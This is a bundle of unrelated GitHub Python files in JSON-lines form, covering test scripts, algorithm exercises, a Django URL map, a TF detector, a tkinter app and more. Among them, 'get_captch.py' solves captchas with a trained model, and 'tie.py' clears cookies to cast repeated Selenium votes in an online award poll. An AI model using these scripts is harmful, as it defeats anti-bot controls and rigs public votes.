f[\"im\"] = im\n\nend = time.time()\ntimingsIm[i] = end - start\nprint(f\"Saving image: {timingsIm[i]:.2f} s\")\n\nprint(\"group count:\", globals[\"group_count\"])\nprint(\"dataset count:\", globals[\"dataset_count\"])\nprint(\"attribute_count:\", globals[\"attribute_count\"])\n\nlogging.info(\"done\")\n\nprint(\"\")\n","repo_name":"HDFGroup/hsds","sub_path":"tests/perf/smallobj/small_obj_test.py","file_name":"small_obj_test.py","file_ext":"py","file_size_in_byte":9842,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"77"} +{"seq_id":"14616585034","text":"from appium import webdriver\nimport yaml\nfrom time import ctime\nimport multiprocessing\n\n\nwith open('desired_caps.yaml','r') as file:\n data=yaml.load(file)\n\ndevices_list=['127.0.0.1:62001','127.0.0.1:62025']\n\ndef appium_desired(udid,port):\n desired_caps={}\n desired_caps['platformName']=data['platformName']\n desired_caps['platformVersion']=data['platformVersion']\n desired_caps['deviceName']=data['deviceName']\n desired_caps['udid']=udid\n\n desired_caps['app']=data['app']\n desired_caps['appPackage']=data['appPackage']\n desired_caps['appActivity']=data['appActivity']\n desired_caps['noReset']=data['noReset']\n\n print('appium port:%s start run %s at %s' %(port,udid,ctime()))\n driver=webdriver.Remote('http://'+str(data['ip'])+':'+str(port)+'/wd/hub',desired_caps)\n driver.implicitly_wait(5)\n return driver\n\ndesired_process=[]\n\nfor i in range(len(devices_list)):\n port=4723+2*i\n desired=multiprocessing.Process(target=appium_desired,args=(devices_list[i],port))\n desired_process.append(desired)\n\nif __name__ == '__main__':\n for desired in desired_process:\n desired.start()\n for desired in desired_process:\n desired.join()","repo_name":"LIShuLin0312/appium_sync","sub_path":"multi_devices_sync.py","file_name":"multi_devices_sync.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"70810908728","text":"#!/usr/bin/env python\n\n# Script to shudown RPi using a button\n# Wire the button to pull GPIO 3 (Pin 5) to Ground to shutdown\n# RPi has built-in function to wake RPi with the same button,\n# so the button will both shutdown the RPi and wake it back up\n\nimport RPi.GPIO as GPIO\nimport subprocess\nimport time\n\npowerPin = 3\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(powerPin, GPIO.IN)\n\nwhile True:\n GPIO.wait_for_edge(powerPin, GPIO.FALLING)\n buttonPressTime = time.time()\n while not(GPIO.input(powerPin)):\n currentTime = time.time()\n if currentTime - buttonPressTime >= 2:\n subprocess.call(['shutdown', '-h', 'now'], shell=False)\n","repo_name":"DevMolasses/FumeHoodMonitor","sub_path":"FumeHoodNotifier/PowerButton.py","file_name":"PowerButton.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"39838283385","text":"import tensorflow as tf\nimport numpy as np\nCAPTCHA_LEN = 3\n\nMODEL_SAVE_PATH = './Model/'\ndef get_result(im):\n img = im.convert(\"L\")\n image_array = np.array(img)\n img_data = image_array.flatten() / 255\n\n saver = tf.train.import_meta_graph('F:/1/model/crack_captcha.model-1200.meta')\n graph = tf.get_default_graph()\n input_holder = graph.get_tensor_by_name(\"data-input:0\")\n keep_prob_holder = graph.get_tensor_by_name(\"keep-prob:0\")\n predict_max_idx = graph.get_tensor_by_name(\"predict_max_idx:0\")\n with tf.Session() as sess:\n saver.restore(sess, tf.train.latest_checkpoint('./Model'))\n predict = sess.run(predict_max_idx, feed_dict={input_holder: [img_data], keep_prob_holder: 1.0})\n predict = np.squeeze(predict)\n if(predict[1]== 0):\n a = predict[0] + predict[2]\n elif(predict[1] ==[1]):\n a = predict[0] * predict[2]\n else:\n a = predict[0] - predict[2]\n return a\n","repo_name":"cxz111111/YLHbot","sub_path":"get_captch.py","file_name":"get_captch.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"29223882208","text":"# Author: wangfang\n\nimport socket\n\ndef main():\n #1丶创建套接字\n client_tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\n #2丶服务器ip和端口\n server_ip = \"192.9.191.204\"\n server_port = 8080\n\n #3丶连接服务器端\n client_tcp_socket.connect((server_ip,server_port))\n\n #4丶输入需要下载的文件名\n download_filename = input(\"请输入要下载的文件名:\")\n\n\n #5丶向服务器端传输需要的下载文件\n client_tcp_socket.send(download_filename.encode(\"utf-8\"))\n\n #6丶接收数据\n recv_data = client_tcp_socket.recv(1024)\n\n #7丶接收数据保存到文件中\n if recv_data:\n with open(\"[新]\" + download_filename,\"wb\") as f:\n f.write(recv_data)\n\n #8丶关闭套接字\n client_tcp_socket.close()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"wfwf1990/learn","sub_path":"Python高级/2丶TCP/文件下载器-客户端.py","file_name":"文件下载器-客户端.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36610326310","text":"\"\"\"\r\nNetwork spreading\r\n\r\n@auth: Yu-Hsiang Fu\r\n@date: 2015/12/10\r\n@update: 2018/03/22\r\n\"\"\"\r\n# --------------------------------------------------------------------------------\r\n# 1.Import modular\r\n# --------------------------------------------------------------------------------\r\n# import modular\r\n# \"\"\"\r\nimport numpy as np\r\n\r\n# import custom-modular\r\nimport util.epidemic_model.sir_model as sir\r\nimport util.handler.gpickle_handler as gh\r\nimport util.handler.pickle_handler as ph\r\n\r\n# import constant\r\nfrom util.constant.constant_folder import FOLDER_FILE\r\nfrom util.constant.constant_folder import FOLDER_IMAGE\r\n\r\n# import node-attribute constant\r\nfrom util.constant.constant_graph import NODE_BETWEENNESS\r\nfrom util.constant.constant_graph import NODE_CLOSENESS\r\nfrom util.constant.constant_graph import NODE_CLUSTERING\r\nfrom util.constant.constant_graph import NODE_DEGREE\r\nfrom util.constant.constant_graph import NODE_K_SHELL\r\nfrom util.constant.constant_graph import NODE_PAGERANK\r\n\r\n# import graph-attribute constant\r\nfrom util.constant.constant_graph import GRAPH_THEORETICAL_THRESHOLD\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# 2.Define variable\r\n# --------------------------------------------------------------------------------\r\n# simulation\r\nNUM_SIMULATION = 100\r\nNUM_SPREADER = 1\r\nNUM_TIME_STEP = 50\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# 3.Define function\r\n# --------------------------------------------------------------------------------\r\ndef get_topk_node(g, measure, topk=1):\r\n node_list = [(i, round(g.node[i][measure], 4)) for i in g]\r\n node_list = sorted(node_list, key=lambda x: x[1], reverse=True)\r\n node_topk = [node_list[i][0] for i in range(0, topk)]\r\n\r\n return node_topk\r\n\r\n\r\ndef network_spreading(g, measure_list, r0_list):\r\n spreading_result = {}\r\n\r\n for r0 in r0_list:\r\n # calculate rate_recovery\r\n rate_infection = round(g.graph[GRAPH_THEORETICAL_THRESHOLD], 2)\r\n rate_recovery = round(rate_infection / r0, 2)\r\n\r\n # --------------------------------------------------\r\n print(\" --- R0: {0}, b={1}, r={2}\".format(r0, rate_infection, rate_recovery))\r\n measure_result = {}\r\n\r\n for measure in measure_list:\r\n print(\" ---- Measure: {0}\".format(measure))\r\n topk_node = get_topk_node(g, measure, topk=1)\r\n simulation = []\r\n\r\n for j in range(0, NUM_SIMULATION):\r\n simulation.append(sir.spreading(g, topk_node, NUM_TIME_STEP, rate_infection, rate_recovery))\r\n\r\n measure_result[measure] = simulation\r\n spreading_result[r0] = measure_result\r\n\r\n return spreading_result\r\n\r\n\r\n# --------------------------------------------------------------------------------\r\n# 4.Main function\r\n# --------------------------------------------------------------------------------\r\ndef main_function():\r\n # test networks\r\n # filename_list = [\"regular_n=1000_k=5\"]\r\n #\r\n filename_list = [\"ba_n=1000_k=5\",\r\n \"random_n=1000_k=5\",\r\n \"sw_n=1000_k=5_p=0.1\"]\r\n\r\n # test measures\r\n measure_list = [NODE_BETWEENNESS,\r\n NODE_CLOSENESS,\r\n NODE_CLUSTERING,\r\n NODE_DEGREE,\r\n NODE_K_SHELL,\r\n NODE_PAGERANK]\r\n\r\n # R0 = b/r\r\n r0_list = [0.5, 1.0, 1.5, 2.0]\r\n\r\n # global-variable setting\r\n global NUM_SIMULATION, NUM_SPREADER, NUM_TIME_STEP\r\n NUM_SIMULATION = 100\r\n NUM_SPREADER = 1\r\n NUM_TIME_STEP = 50\r\n\r\n for net_name in filename_list:\r\n print(\" - [Net] {0}:\".format(net_name))\r\n print(\" -- Read gpickle file\")\r\n file_path = \"{0}{1}, analysis.gpickle\".format(FOLDER_FILE, net_name)\r\n g = gh.read_gpickle_file(file_path)\r\n\r\n print(\" -- Network spreading ...\")\r\n spreading_result = network_spreading(g, measure_list, r0_list)\r\n\r\n print(\" -- Save spreading result\")\r\n file_path = \"{0}{1}, spreading-topk={2}-sim={3}-t={4}.pickle\"\r\n file_path = file_path.format(FOLDER_IMAGE, net_name, NUM_SPREADER, NUM_SIMULATION, NUM_TIME_STEP)\r\n ph.write_pickle_file(spreading_result, file_path)\r\n\r\n print(\" - [/Net]\")\r\n print()\r\n\r\n\r\nif __name__ == '__main__':\r\n main_function()\r\n","repo_name":"yuhsiangfu/network-spreading","sub_path":"network_spreading.py","file_name":"network_spreading.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"} +{"seq_id":"2890439320","text":"i, j, count = 0, 1, 0\ndecimals = 0.2\n\nwhile i <= 2:\n if i == 1.9999999999999998:\n print(\"I={}\".format(round(i)), \"J={}\".format(int(j)))\n elif i % 1 != 0 and j % 1 != 0:\n print(\"I={:.1f}\".format(i), \"J={:.1f}\".format(j))\n elif i % 1 != 0 and j % 1 == 0:\n print(\"I={:.1f}\".format(i), \"J={}\".format(int(j)))\n elif i % 1 == 0 and j % 1 != 0:\n print(\"I={}\".format(int(i)), \"J={:.1f}\".format(j))\n elif i % 1 == 0 and j % 1 == 0:\n print(\"I={}\".format(int(i)), \"J={}\".format(int(j)))\n \n count = count + 1\n j = j + 1\n\n if count % 3 == 0:\n i = i + 0.2\n j = 1 + decimals\n decimals = decimals + 0.2\n","repo_name":"felipesantoos/beecrowd","sub_path":"python3/1098_sequencia_ij_4.py","file_name":"1098_sequencia_ij_4.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"24882703789","text":"\"\"\"edusys URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.urls import include, path\r\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.contrib import admin\r\nfrom django.urls import path\r\nfrom stusys import views\r\n\r\n\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path(r'index/', views.index),\r\n path(r'login/', views.login),\r\n path(r'logined/', views.logined),\r\n path(r'stu_info/', views.stu_info),\r\n path(r'select_course/', views.select_course),\r\n path(r'add_course/', views.add_course),\r\n path(r'stu_course/', views.stu_course),\r\n path(r'logout/', views.logout)\r\n]\r\n","repo_name":"FlashZoom/Educational_Administration_System","sub_path":"edusys/edusys/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"13640757938","text":"# -*- coding: utf-8 -*-\n\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\nfrom typing import Dict\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom object_detection.utils import label_map_util\n\nimport detection_models.results\n\n\nclass ObjectDetector(ABC):\n \"\"\"An abstract base class for representing TF Object Detection API models\n\n This class and abstracts out many of the underlying operations necessary\n for loading a TensorFlow Object Detection API model.\n \n Attributes:\n _graph (tf.Graph): the TensorFlow Graph object that represents the\n frozen inference graph\n _category_index (dict): a dictionary that stores the model's ID->label\n associations from the input label map; the keys are the class IDs\n (stored as `int`s), and each value is a dict with:\n \"id\": the class ID\n \"name\": the class name\n _session (tf.Session): the running TensorFlow session that represents\n the connection between the Python runtime and underlying C++ engine\n _tensor_dict (dict): a dictionary that stores the tensor names (as \n `str` keys) and tf.Tensor objects for the given model that will\n be supplied as \"fetches\" to a tf.Session.run() call; these are the\n return values of the session run\n _image_tensor (tf.Tensor): the image tensor that constitutes the\n tf.Session.run() feed_dict when paired with input images\n \"\"\"\n\n def __init__(self, model_path: Path, label_map_path: Path):\n self._graph = self._load_graph(str(model_path.absolute()))\n self._category_index = label_map_util.create_category_index_from_labelmap(\n str(label_map_path.absolute()))\n self._session = tf.Session(graph=self._graph)\n self._tensor_dict = self._get_tensor_dict()\n self._image_tensor = self._graph.get_tensor_by_name(\"image_tensor:0\")\n\n def _load_graph(self, model_path: Path) -> tf.Graph:\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(model_path, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n return detection_graph\n\n def _get_tensor_dict(self) -> Dict[str, tf.Tensor]:\n ops = self._graph.get_operations()\n all_tensor_names = {output.name for op in ops for output in op.outputs}\n tensor_dict = {}\n for key in [\n 'num_detections', 'detection_boxes', 'detection_scores',\n 'detection_classes', 'detection_masks'\n ]:\n tensor_name = key + ':0'\n if tensor_name in all_tensor_names:\n tensor_dict[key] = self._graph.get_tensor_by_name(tensor_name)\n return tensor_dict\n\n @abstractmethod\n def detect(self, image: np.ndarray, detection_threshold: float = 0.5\n ) -> detection_models.results.DetectionResults:\n pass\n","repo_name":"autognc/detection-models","sub_path":"detection_models/object_detector.py","file_name":"object_detector.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"617028856","text":"\ndef equalStacks(h1, h2, h3):\n s1, s2, s3 = map(sum, (h1, h2, h3))\n while h1 and h2 and h3:\n m = min(s1, s2, s3)\n while s1 > m: s1 -= h1.pop(0)\n while s2 > m: s2 -= h2.pop(0)\n while s3 > m: s3 -= h3.pop(0)\n if s1 == s2 == s3: return s1\n return 0","repo_name":"acao2002/Learn-DataStructures-and-Algorithms-with-Hackerrank-Solutions","sub_path":"Data Structures Problems(python)/Stack/EqualStacks.py","file_name":"EqualStacks.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"8390206119","text":"#!/usr/bin/env python\n\n# ============================================================\n# Helpers\n# ============================================================\n\n\ndef printl(list):\n for i in list:\n print(i, end=\" \")\n print()\n\n\ndef zamien(lista, i, j):\n tmp = lista[i]\n lista[i] = lista[j]\n lista[j] = tmp\n\n\ndef reset(lista, i):\n j = len(lista)-1\n while i < j:\n zamien(lista, i, j)\n i += 1\n j -= 1\n\n\n# ============================================================\n# Permutations of n-element set\n# ============================================================\n\n\ndef permsr(n, s=True):\n lista = [i for i in range(n)]\n if s:\n lista = set(lista)\n __perms1s(lista)\n else:\n __perms1l(lista)\n\n\ndef __perms1l(lista, perm=[]):\n if len(lista) == 0:\n printl(perm)\n return\n for i in range(len(lista)):\n __perms1l(lista[:i]+lista[i+1:], perm+[lista[i]])\n\n\ndef __perms1s(s, perm=[]):\n if len(s) == 0:\n printl(perm)\n return\n for i in s:\n s.pop()\n __perms1s(s.copy(), perm+[i])\n s.add(i)\n\n\ndef permsi(n):\n lista = [i for i in range(n)]\n\n while len(lista) != 0:\n printl(lista)\n lista = nperm(lista)\n\n\ndef nperm(lista):\n lm = len(lista)-1\n i = lm\n\n while i > 0 and lista[i-1] > lista[i]:\n i -= 1\n\n i -= 1\n if i < 0:\n return []\n j = lm\n\n while lista[j] < lista[i]:\n j -= 1\n\n zamien(lista, i, j)\n reset(lista, i+1)\n return lista\n\n\n# ============================================================\n# All subsets of set\n# ============================================================\n\ndef wkombr(n, i=1, list=[]):\n if i > n:\n printl(list)\n else:\n wkombr(n, i+1, list)\n wkombr(n, i+1, list+[i])\n\n\ndef wkombi(n):\n max = 2**n\n for i in range(max):\n imask(i, n)\n\n\ndef imask(m, n):\n for i in range(1, n+1):\n if m & 1:\n print(i, end=\"\")\n m >>= 1\n print()\n\n# ============================================================\n# Combinations without repetition\n# ============================================================\n\n\ndef kzn1(n, k, i=0, list=[]):\n if len(list) == k:\n printl(list)\n else:\n for j in range(i, n):\n kzn1(n, k, j+1, list+[j])\n\n\ndef kzn2(n, k):\n list = [i for i in range(k)]\n printl(list)\n\n while nkzn(n, k, list):\n printl(list)\n\n\ndef nkzn(n, k, list):\n i = k-1\n if list[i] < n-1:\n list[i] += 1\n return True\n\n while i > 0 and list[i-1] == list[i]-1:\n i -= 1\n i -= 1\n if i < 0:\n return False\n\n list[i] += 1\n for j in range(i+1, k):\n list[j] = list[j-1]+1\n return True\n\n\n# ============================================================\n# Combinations with repetition\n# ============================================================\n\n\ndef pkzn1(n, k, i=0, list=[], p=0):\n if i == k:\n printl(list)\n return\n for j in range(p, n):\n pkzn1(n, k, i+1, list+[j], j)\n\n\ndef pkzn2(n, k):\n list = [0 for i in range(k)]\n printl(list)\n while npkzn(n-1, k, list):\n printl(list)\n\n\ndef npkzn(n, k, list):\n i = k-1\n while i >= 0 and list[i] >= n:\n i -= 1\n\n if i < 0:\n return False\n list[i] += 1\n i += 1\n\n while i < k:\n list[i] = list[i-1]\n i += 1\n return True\n\n# ============================================================\n# Long awaited __name__ == \"__main__\"\n# ============================================================\n\n\nif __name__ == \"__main__\":\n tokens = input().split()\n n = int(tokens[0])\n\n if len(tokens) > 1:\n k = int(tokens[1])\n else:\n k = int(input().split()[0])\n\n pkzn1(n, k)\n","repo_name":"Rellikeht/Random-code","sub_path":"single-file/perms.py","file_name":"perms.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"2120098638","text":"import time\nfrom selenium import webdriver\n\ndef get_driver():\n return webdriver.Chrome('./chromedriver')\n\ndef vote(driver):\n driver.delete_all_cookies()\n\n driver.get('https://www.shixiseng.com/hirer/eachhirer?com=com_thfa4ld7grt5&award_type=%E6%9C%80%E4%BD%B3%E5%AE%9E%E4%B9%A0%E9%9B%87%E4%B8%BB')\n\n time.sleep(1)\n\n driver.find_element_by_css_selector('.vote').click()\n\n time.sleep(0.5)\n\n driver.find_element_by_css_selector('.vote').click()\n\n time.sleep(1)\n\n return True\n","repo_name":"calibur-tv/robots","sub_path":"tie.py","file_name":"tie.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"14992644455","text":"# 127. Word Ladder\n# 🔴 Hard\n#\n# https://leetcode.com/problems/word-ladder/\n#\n# Tags: Hash Table - String - Breadth-First Search\n\nimport timeit\nfrom collections import defaultdict, deque\nfrom typing import List\n\n# 1 call with 5000 word dictionary and 20 steps between start and end.\n# » Naive 2.08446 seconds\n# » Matches 0.02905 seconds\n\n# Naively we can perform breadth first search using begin word as the\n# start and traveling one level at a time until we find the end word or\n# arrive at a level with no words. A level consists on all words that\n# we have not visited before and are 1 character away from any word in\n# the previous level.\n#\n# Time complexity: O(n^2) - Where n is the number of words in the word\n# dictionary, we need to check each word against all others to find\n# its neighbors.\n# Space complexity: O(n) - The available set starts at size n.\n#\n# This solution fails with Time Limit Exceeded.\nclass Naive:\n def ladderLength(\n self, beginWord: str, endWord: str, wordList: List[str]\n ) -> int:\n # Construct a set of the words that are available.\n available = set(wordList)\n # Store the words that we can arrive to in a queue.\n q = deque([beginWord])\n # Store the number of transformations.\n level = 0\n # Define a function that returns whether two words are connected.\n # For our purpose, being connected means that the words differ\n # only in one position.\n def areConnected(a: str, b: str) -> bool:\n diff = 0\n for i in range(len(a)):\n if a[i] != b[i]:\n diff += 1\n if diff > 1:\n return False\n return diff == 1\n\n while q:\n # Increase the level count.\n level += 1\n # Process the next level.\n for _ in range(len(q)):\n current = q.popleft()\n # Check if we have our target word.\n if current == endWord:\n return level\n # Enqueue this node's neighbors.\n for word in set(available):\n if areConnected(current, word):\n available.remove(word)\n q.append(word)\n # If we exhaust the queue we cannot build the target.\n return 0\n\n\n# Preprocess the words to obtain a dictionary of word variations, in\n# which each variation has a character substituted by a wildcard, to\n# the words that could generate these variations. Then use the same\n# logic as in the previous solution but, instead of iterating over all\n# the words trying to find the ones that are one character away from the\n# current one, use its possible variations to obtain its neighbors in\n# O(1), max 10 variations O(1) access to the list of words that could\n# produce these variations.\n#\n# Time complexity: O(n) - We could still visit all the words in the\n# dictionary, but this time we only do O(1) work for each.\n# Space complexity: O(n) - The dictionary can grow to length(beginWord)\n# times length(wordList) in which len(beginWord) is max 10.\n#\n# Runtime: 231 ms, faster than 80.18%\n# Memory Usage: 17.5 MB, less than 48.28%\nclass Matches:\n def ladderLength(\n self, beginWord: str, endWord: str, wordList: List[str]\n ) -> int:\n # Define a function that produces all variations of a word\n # replacing one of its characters with a wildcard.\n def getVariants(word: str) -> List[str]:\n w = \".\"\n res = []\n for i in range(len(word)):\n chars = []\n for j in range(len(word)):\n chars.append(word[j] if i != j else w)\n res.append(\"\".join(chars))\n return res\n\n # Define a helper function that returns a list of that word's\n # neighbors.\n def getNeighbors(word: str) -> List[str]:\n neighbors = []\n for variant in getVariants(word):\n for neighbor in d[variant]:\n if neighbor not in seen:\n neighbors.append(neighbor)\n return neighbors\n\n # Construct a dictionary of variations: words.\n d = defaultdict(list)\n contains_end_word = False\n for word in wordList + [beginWord]:\n if word == endWord:\n contains_end_word = True\n for variant in getVariants(word):\n d[variant].append(word)\n if not contains_end_word:\n return 0\n # Store words we have already visited.\n seen = set([beginWord])\n # Store the words that we can arrive to in a queue.\n q = deque([beginWord])\n # Store the number of transformations.\n level = 0\n while q:\n # Increase the level count.\n level += 1\n # Process the next level.\n for _ in range(len(q)):\n current = q.popleft()\n # Check if we have our target word.\n if current == endWord:\n return level\n # Enqueue this node's neighbors if we haven't seen them\n # before.\n neighbors = getNeighbors(current)\n while neighbors:\n # Get neighbors checks that neighbors have not been\n # seen before.\n neighbor = neighbors.pop()\n seen.add(neighbor)\n q.append(neighbor)\n # If we exhaust the queue we cannot build the target.\n return 0\n\n\ndef test():\n executors = [\n Naive,\n Matches,\n ]\n tests = [\n [\"hit\", \"cog\", [\"hot\", \"dot\", \"dog\", \"lot\", \"log\", \"cog\"], 5],\n [\"hit\", \"cog\", [\"hot\", \"dot\", \"dog\", \"lot\", \"log\"], 0],\n ]\n for executor in executors:\n start = timeit.default_timer()\n for _ in range(1):\n for col, t in enumerate(tests):\n sol = executor()\n result = sol.ladderLength(t[0], t[1], t[2])\n exp = t[3]\n assert result == exp, (\n f\"\\033[93m» {result} <> {exp}\\033[91m for\"\n + f\" test {col} using \\033[1m{executor.__name__}\"\n )\n stop = timeit.default_timer()\n used = str(round(stop - start, 5))\n cols = \"{0:20}{1:10}{2:10}\"\n res = cols.format(executor.__name__, used, \"seconds\")\n print(f\"\\033[92m» {res}\\033[0m\")\n\n\ntest()\n","repo_name":"raul-sauco/coding-challenges","sub_path":"leetcode/word-ladder.py","file_name":"word-ladder.py","file_ext":"py","file_size_in_byte":6524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"3429410319","text":"nome=\"1\"\r\nlettere=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\" \"]\r\nnumeri=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"0\"]\r\nimport tkinter as tk\r\nfrom tkinter import *\r\nfrom functools import partial\r\nwindow = tk.Tk()\r\nwindow.geometry(\"600x600\")\r\nwindow.resizable(False, False)\r\nwindow.title(\"AgaGym Software\")\r\n\r\nTitolo = \"AgaGym\"\r\ntitolo_output = tk.Label(window, text=Titolo, fg=\"red\", font=(\"Courier\", 30,\"bold\"))\r\ntitolo_output.grid(row=0, column=1, padx=100)\r\ntesto=\"Avvia il programma per cominciare\"\r\ntesto_output=tk.Label(window, text=testo, fg=\"black\", font=(\"Courier\", 20,\"bold\"))\r\ntesto_output.grid(row=1, column=1, padx=100)\r\nmenu_button = tk.Button(text=\"Avvia Programma\",command=lambda:[ inizio(),menu_button.grid_remove(),titolo_output.grid_remove(), testo_output.grid_remove()])\r\nmenu_button.grid(row=2, column=1)\r\n\r\nexit_button = tk.Button(text=\"Termina Sessione\",command=quit)\r\nexit_button.grid(row=6, column=1) \r\n\r\n\r\n\r\ndef inizio():\r\n testo=\"Seleziona Una opzione:\"\r\n sottotitolo= tk.Label(window, text=testo, fg=\"blue\", font=(\"Courier\", 30,\"bold\"))\r\n sottotitolo.grid(row=0, column=1, padx=100)\r\n iscrizioni_button = tk.Button(window, text=\"Nuova iscrizione\",command=lambda:[iscrizione(),visualizza_button.grid_remove(),iscrizioni_button.grid_remove(),sottotitolo.grid_remove(),rinnovo_button.grid_remove(), exit_button.grid_remove(), cancella_button.grid_remove()])\r\n iscrizioni_button.grid(row=2, column=1)\r\n rinnovo_button=tk.Button(window, text=\"Rinnova Iscrizione\", command=lambda:[rinnova(),visualizza_button.grid_remove(),cancella_button.grid_remove(),iscrizioni_button.grid_remove(),sottotitolo.grid_remove(),rinnovo_button.grid_remove(), exit_button.grid_remove()])\r\n rinnovo_button.grid (row=3, column=1)\r\n cancella_button=tk.Button(window, text=\"Cancella Iscrizione\",command=lambda:[cancella(),visualizza_button.grid_remove(), cancella_button.grid_remove() ,iscrizioni_button.grid_remove(),sottotitolo.grid_remove(),rinnovo_button.grid_remove(), exit_button.grid_remove()])\r\n cancella_button.grid(row=4, column=1)\r\n visualizza_button=tk.Button(window, text=\"Visualizza Iscrizioni\", command=lambda:[visualizza(), visualizza_button.grid_remove(),cancella_button.grid_remove(), iscrizioni_button.grid_remove(),sottotitolo.grid_remove(),rinnovo_button.grid_remove(), exit_button.grid_remove() ])\r\n visualizza_button.grid(row=5, column=1)\r\ndef iscrizione():\r\n text = \"Menu Iscrizione:\"\r\n text1_output = tk.Label(window, text=text, fg=\"red\", font=(\"Courier\", 30,\"bold\"))\r\n text1_output.grid(row=0, column=1, padx=150)\r\n indietro_button = tk.Button(window,text=\"Indietro\",command=lambda:[indietro_button.grid_remove(),bottone.grid_remove(),testo.grid_remove(),scrivi.grid_remove(),text1_output.grid_remove(),inizio(), exit_button.grid(row=6, column=1)])\r\n indietro_button.grid(row=10, column=1)\r\n\r\n def name():\r\n global nome\r\n nome=scrivi.get()\r\n nome=nome.upper()\r\n errore=Label(window, text=\"Errore, Nome non valido!\")\r\n \r\n ctrl=0\r\n if len(nome)>2 and len(nome)<31:\r\n for i in range(len(nome)):\r\n if nome[i] not in lettere: \r\n errore.grid (row=4, column=1)\r\n ctrl=1\r\n name()\r\n else:\r\n ctrl=0\r\n errore.grid_remove() #??????\r\n else:\r\n errore.grid (row=4, column=1)\r\n ctrl=1\r\n if ctrl==0:\r\n errore.destroy() #??????\r\n print (nome)\r\n \r\n testo=Label(window, text=\"Inserisci il tuo nome:\")\r\n bottone=Button(window, text=\"Invia\", command=name)\r\n scrivi=Entry(window)\r\n testo.grid(row=1, column=1)\r\n scrivi.grid(row=2, column=1)\r\n bottone.grid(row=5, column=1)\r\ndef rinnova():\r\n text = \"Menu Rinnova:\"\r\n text2_output = tk.Label(window, text=text, fg=\"red\", font=(\"Courier\", 30,\"bold\"))\r\n text2_output.grid(row=0, column=1, padx=160)\r\n indietro_button = tk.Button(window,text=\"Indietro\",command=lambda:[indietro_button.grid_remove(),text2_output.grid_remove(),inizio(), exit_button.grid(row=6, column=1)])\r\n indietro_button.grid(row=3, column=1)\r\n\r\ndef cancella():\r\n text = \"Menu Cancella:\"\r\n text3_output = tk.Label(window, text=text, fg=\"red\", font=(\"Courier\", 30,\"bold\"))\r\n text3_output.grid(row=0, column=1, padx=150)\r\n indietro_button = tk.Button(window,text=\"Indietro\",command=lambda:[indietro_button.grid_remove(),text3_output.grid_remove(),inizio(), exit_button.grid(row=6, column=1)])\r\n indietro_button.grid(row=3, column=1)\r\n\r\ndef visualizza():\r\n testo = \"Menu Visualizza:\"\r\n text4_output = tk.Label(window, text=testo, fg=\"red\", font=(\"Courier\", 30,\"bold\"))\r\n text4_output.grid(row=0, column=1, padx=150)\r\n indietro_button = tk.Button(window,text=\"Indietro\",command=lambda:[indietro_button.grid_remove(),text4_output.grid_remove(),inizio(), exit_button.grid(row=6, column=1)])\r\n indietro_button.grid(row=3, column=1)\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\nwindow.mainloop() 